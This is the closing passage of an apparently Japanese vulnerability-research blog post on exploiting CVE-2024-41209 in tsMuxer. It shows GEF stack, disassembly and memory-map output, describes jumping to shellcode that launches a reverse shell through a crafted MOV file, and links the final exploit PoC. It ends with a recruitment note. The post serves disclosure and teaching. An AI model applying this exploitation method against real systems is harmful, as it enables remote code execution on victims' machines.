------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
      0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0>  ->  0x0000000000735d00 <_IO_default_imbue>  ->  0x2e6666c3fa1e0ff3  <-  retaddr[1]
      0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read>  ->  0x70478b44fa1e0ff3  <-  retaddr[2]
      0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write>  ->  0x89495541fa1e0ff3
      0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
      0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat>  ->  0x8bf28948fa1e0ff3  <-  retaddr[3]
      0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc>  ->  0xffffffb8fa1e0ff3  <-  retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
    0x627785 b8ca000000          <__deallocate_stack+0xd5>   mov    eax, 0xca
    0x62778a 488d3d37fe2e00      <__deallocate_stack+0xda>   lea    rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
    0x627791 0f05                <__deallocate_stack+0xe1>   syscall
 -> 0x627793 5d                  <__deallocate_stack+0xe3>   pop    rbp
    0x627794 c3                  <__deallocate_stack+0xe4>   ret
    0x627795 0f1f00              <__deallocate_stack+0xe5>   nop    DWORD PTR [rax]
    0x627798 488d3d29fe2e00      <__deallocate_stack+0xe8>   lea    rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
    0x62779f e81cb70000          <__deallocate_stack+0xef>   call   0x632ec0 <__lll_lock_wait_private>
    0x6277a4 e924ffffff          <__deallocate_stack+0xf4>   jmp    0x6276cd <__deallocate_stack+0x1d>

gef> vmmap -n
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rcx, $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000901000 0x0000000000003000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $r14
0x0000000000901000 0x0000000000903000 0x0000000000002000 0x0000000000500000 rwx /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR  <-  $rsp, $rdi
0x0000000000903000 0x0000000000905000 0x0000000000002000 0x0000000000000000 rwx
0x0000000000905000 0x0000000000940000 0x000000000003b000 0x0000000000000000 rw- [heap]<tls-th1>  <-  $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]

後は、シェルコードを配置したメモリ領域にretするだけです。

1番目のステップで作成したシェルコードが実行され、execveによってリバースシェルが起動します。

最終的なエクスプロイトコードを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_final_poc.py

以下の画像は、 /bin/sh/ -c "id; date" をexecveシステムコールに渡して実行した結果です。文字列としてリバースシェルを起動するコマンド列を用意すれば、victimがクラフトされたMOVファイルを開いた際に、別のデバイスからvictimのシェルに接続できてしまいます。

任意コード実行の様子

まとめ

Fuzzerが発見したクラッシュを解析し、Exploitコードを開発するまでのプロセスを解説しました。

脆弱性の根本原因を特定し、最小のPoCを作成し、コード実行を実現するためのパズルを組み立てる思考の流れは、CTFのそれとも近く、とても楽しいものです。

本脆弱性の発見・報告と本記事の執筆に携わったArataとiwashiiraは、リチェルカセキュリティでパートタイマーとして働いています。当社には他にもバイナリ解析の領域で若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。